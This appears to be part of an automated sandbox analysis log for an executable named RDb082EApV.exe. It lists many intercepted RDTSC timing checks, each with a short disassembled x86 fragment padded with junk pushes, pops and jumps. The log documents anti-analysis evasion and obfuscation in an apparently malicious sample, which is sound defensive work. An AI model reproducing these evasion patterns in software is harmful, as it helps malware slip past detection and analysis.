Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F097E second address: 47F099C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FCE94BEBC23h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F099C second address: 47F09A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F09A2 second address: 47F09A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F09A6 second address: 47F09E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FCE94E61218h 0x00000014 adc cl, FFFFFFB8h 0x00000017 jmp 00007FCE94E6120Bh 0x0000001c popfd 0x0000001d mov ecx, 09947DEFh 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F09E2 second address: 47F0A59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FCE94BEBC1Bh 0x00000009 sub esi, 3655737Eh 0x0000000f jmp 00007FCE94BEBC29h 0x00000014 popfd 0x00000015 call 00007FCE94BEBC20h 0x0000001a pop ecx 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e mov ebp, esp 0x00000020 jmp 00007FCE94BEBC21h 0x00000025 xchg eax, esi 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 pushfd 0x0000002a jmp 00007FCE94BEBC1Ah 0x0000002f xor eax, 68E7C8D8h 0x00000035 jmp 00007FCE94BEBC1Bh 0x0000003a popfd 0x0000003b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F0A59 second address: 47F0AED instructions: 0x00000000 rdtsc 0x00000002 movzx eax, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov edx, 65CB1808h 0x0000000c popad 0x0000000d push eax 0x0000000e jmp 00007FCE94E6120Eh 0x00000013 xchg eax, esi 0x00000014 pushad 0x00000015 movzx eax, dx 0x00000018 mov si, di 0x0000001b popad 0x0000001c mov esi, dword ptr [ebp+0Ch] 0x0000001f pushad 0x00000020 mov ax, di 0x00000023 pushfd 0x00000024 jmp 00007FCE94E61217h 0x00000029 jmp 00007FCE94E61213h 0x0000002e popfd 0x0000002f popad 0x00000030 test esi, esi 0x00000032 jmp 00007FCE94E61216h 0x00000037 je 00007FCF0627EAF3h 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 mov dl, 1Bh 0x00000042 call 00007FCE94E61216h 0x00000047 pop eax 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F0AED second address: 47F0B28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 0BA1F45Dh 0x00000008 pushfd 0x00000009 jmp 00007FCE94BEBC1Ah 0x0000000e jmp 00007FCE94BEBC25h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 cmp dword ptr [75C7459Ch], 05h 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 mov dh, A4h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F0B28 second address: 47F0B6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94E6120Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FCF06296B66h 0x0000000f pushad 0x00000010 movzx esi, di 0x00000013 call 00007FCE94E61211h 0x00000018 jmp 00007FCE94E61210h 0x0000001d pop esi 0x0000001e popad 0x0000001f push ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 mov bx, 5CECh 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F0B6F second address: 47F0B8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop eax 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F0B8E second address: 47F0BA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCE94E61211h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F0BB7 second address: 47F0BBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F0BBB second address: 47F0BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F0BC1 second address: 47F0C2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 movsx ebx, si 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, esi 0x0000000d pushad 0x0000000e mov ecx, 703DC047h 0x00000013 mov edx, eax 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007FCE94BEBC29h 0x0000001c xchg eax, esi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FCE94BEBC23h 0x00000026 sbb esi, 5E1F436Eh 0x0000002c jmp 00007FCE94BEBC29h 0x00000031 popfd 0x00000032 push esi 0x00000033 pop ebx 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F0C9D second address: 47F0CA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F0CA3 second address: 47F0CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 595DDB7 second address: 595DDC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FCE94E61206h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADB850 second address: 5ADB85A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FCE94BEBC16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADAB83 second address: 5ADAB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADAB89 second address: 5ADAB8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADACCD second address: 5ADACD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADACD3 second address: 5ADACD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADAF5E second address: 5ADAF64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADAF64 second address: 5ADAF68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADAF68 second address: 5ADAF6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADB0B7 second address: 5ADB0D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007FCE94BEBC16h 0x0000000d jmp 00007FCE94BEBC20h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADDD50 second address: 5ADDD76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FCE94E61206h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 push edi 0x00000014 jmp 00007FCE94E6120Eh 0x00000019 pop edi 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADDD76 second address: 595DDB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pop eax 0x00000007 mov di, AC84h 0x0000000b push dword ptr [ebp+122D14FDh] 0x00000011 sub ecx, 286B7921h 0x00000017 call dword ptr [ebp+122D1CDDh] 0x0000001d pushad 0x0000001e jnl 00007FCE94BEBC17h 0x00000024 xor eax, eax 0x00000026 jmp 00007FCE94BEBC1Fh 0x0000002b mov edx, dword ptr [esp+28h] 0x0000002f cld 0x00000030 mov dword ptr [ebp+122D2D40h], eax 0x00000036 or dword ptr [ebp+122D1CD8h], esi 0x0000003c mov esi, 0000003Ch 0x00000041 xor dword ptr [ebp+122D2950h], edi 0x00000047 add esi, dword ptr [esp+24h] 0x0000004b sub dword ptr [ebp+122D1CD8h], edx 0x00000051 lodsw 0x00000053 or dword ptr [ebp+122D2950h], ebx 0x00000059 add eax, dword ptr [esp+24h] 0x0000005d jl 00007FCE94BEBC17h 0x00000063 stc 0x00000064 mov ebx, dword ptr [esp+24h] 0x00000068 jl 00007FCE94BEBC22h 0x0000006e ja 00007FCE94BEBC1Ch 0x00000074 mov dword ptr [ebp+122D1CD8h], edx 0x0000007a nop 0x0000007b push eax 0x0000007c push edx 0x0000007d jmp 00007FCE94BEBC29h 0x00000082 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADDDAD second address: 5ADDDC3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FCE94E61208h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007FCE94E61206h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADDDC3 second address: 5ADDE08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FCE94BEBC22h 0x0000000b popad 0x0000000c nop 0x0000000d jmp 00007FCE94BEBC1Ah 0x00000012 mov dword ptr [ebp+122D598Ch], eax 0x00000018 push 00000000h 0x0000001a mov si, dx 0x0000001d push B7E90AC6h 0x00000022 pushad 0x00000023 push edi 0x00000024 jnc 00007FCE94BEBC16h 0x0000002a pop edi 0x0000002b jc 00007FCE94BEBC1Ch 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADDE08 second address: 5ADDE89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 add dword ptr [esp], 4816F5BAh 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007FCE94E61208h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 sub edx, 7911163Dh 0x0000002c push 00000003h 0x0000002e push 00000000h 0x00000030 mov esi, dword ptr [ebp+124523FDh] 0x00000036 push 00000003h 0x00000038 push 00000000h 0x0000003a push edi 0x0000003b call 00007FCE94E61208h 0x00000040 pop edi 0x00000041 mov dword ptr [esp+04h], edi 0x00000045 add dword ptr [esp+04h], 0000001Dh 0x0000004d inc edi 0x0000004e push edi 0x0000004f ret 0x00000050 pop edi 0x00000051 ret 0x00000052 mov dword ptr [ebp+122D1CF1h], esi 0x00000058 cld 0x00000059 mov esi, edx 0x0000005b push CE9E3E16h 0x00000060 pushad 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007FCE94E6120Dh 0x00000068 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADDE89 second address: 5ADDEA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADDEA0 second address: 5ADDEA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADDEA4 second address: 5ADDEFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 0E9E3E16h 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007FCE94BEBC18h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 sub cx, 2494h 0x0000002d lea ebx, dword ptr [ebp+12453C3Eh] 0x00000033 mov dword ptr [ebp+122D30E6h], edi 0x00000039 push eax 0x0000003a push edi 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FCE94BEBC23h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADDFE0 second address: 5ADE000 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FCE94E61213h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADE000 second address: 5ADE006 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADE006 second address: 5ADE00A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADE00A second address: 5ADE00E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADE00E second address: 5ADE0A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a mov edi, 6E7BA6CEh 0x0000000f mov edx, 3950D451h 0x00000014 popad 0x00000015 push 00000003h 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007FCE94E61208h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 mov edi, dword ptr [ebp+122D1C01h] 0x00000037 mov ecx, 531F97B1h 0x0000003c jmp 00007FCE94E61213h 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push esi 0x00000046 call 00007FCE94E61208h 0x0000004b pop esi 0x0000004c mov dword ptr [esp+04h], esi 0x00000050 add dword ptr [esp+04h], 00000015h 0x00000058 inc esi 0x00000059 push esi 0x0000005a ret 0x0000005b pop esi 0x0000005c ret 0x0000005d push 00000003h 0x0000005f jnp 00007FCE94E6120Ch 0x00000065 push DFE60003h 0x0000006a push eax 0x0000006b push edx 0x0000006c jnl 00007FCE94E6120Ch 0x00000072 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADE0A8 second address: 5ADE0AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADE127 second address: 5ADE131 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FCE94E61206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADE1F8 second address: 5ADE1FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADE1FC second address: 5ADE23D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 436F6370h 0x0000000e pushad 0x0000000f mov ebx, dword ptr [ebp+122D1CDDh] 0x00000015 pushad 0x00000016 mov si, 121Ah 0x0000001a call 00007FCE94E61213h 0x0000001f pop esi 0x00000020 popad 0x00000021 popad 0x00000022 lea ebx, dword ptr [ebp+12453C52h] 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jng 00007FCE94E6120Ch 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ADE23D second address: 5ADE241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AFEE04 second address: 5AFEE16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCE94E6120Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ACAF14 second address: 5ACAF1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ACAF1A second address: 5ACAF41 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c js 00007FCE94E61206h 0x00000012 pop ebx 0x00000013 ja 00007FCE94E61214h 0x00000019 push edi 0x0000001a pop edi 0x0000001b jmp 00007FCE94E6120Ch 0x00000020 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5ACAF41 second address: 5ACAF47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AFCF0C second address: 5AFCF37 instructions: 0x00000000 rdtsc 0x00000002 je 00007FCE94E6121Fh 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FCE94E61217h 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007FCE94E61206h 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AFD4F4 second address: 5AFD4FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AFD69F second address: 5AFD6B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FCE94E6120Ah 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AFD6B5 second address: 5AFD6B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AFD6B9 second address: 5AFD6C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AFD6C5 second address: 5AFD6DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCE94BEBC23h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AFDE1F second address: 5AFDE25 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AFDF6D second address: 5AFDF86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007FCE94BEBC16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007FCE94BEBC16h 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AFDF86 second address: 5AFDFA5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FCE94E61217h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AFDFA5 second address: 5AFDFAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FCE94BEBC16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AFDFAF second address: 5AFDFD8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FCE94E61206h 0x00000008 jmp 00007FCE94E61217h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007FCE94E61206h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AFDFD8 second address: 5AFDFE2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FCE94BEBC16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AFE71F second address: 5AFE723 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AFE723 second address: 5AFE72C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AFE72C second address: 5AFE731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5B00FE8 second address: 5B0101E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 ja 00007FCE94BEBC16h 0x0000000f jmp 00007FCE94BEBC1Dh 0x00000014 popad 0x00000015 jnl 00007FCE94BEBC1Ch 0x0000001b popad 0x0000001c mov eax, dword ptr [esp+04h] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 push esi 0x00000026 pop esi 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AFFAD9 second address: 5AFFADF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AFFADF second address: 5AFFB08 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCE94BEBC16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FCE94BEBC27h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AFFB08 second address: 5AFFB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5B0018C second address: 5B00190 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5B0125B second address: 5B0125F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5B0125F second address: 5B01271 instructions: 0x00000000 rdtsc 0x00000002 js 00007FCE94BEBC16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007FCE94BEBC1Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5B02418 second address: 5B0243D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FCE94E61216h 0x0000000d popad 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5B09ED2 second address: 5B09EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCE94BEBC1Eh 0x00000009 rdtsc
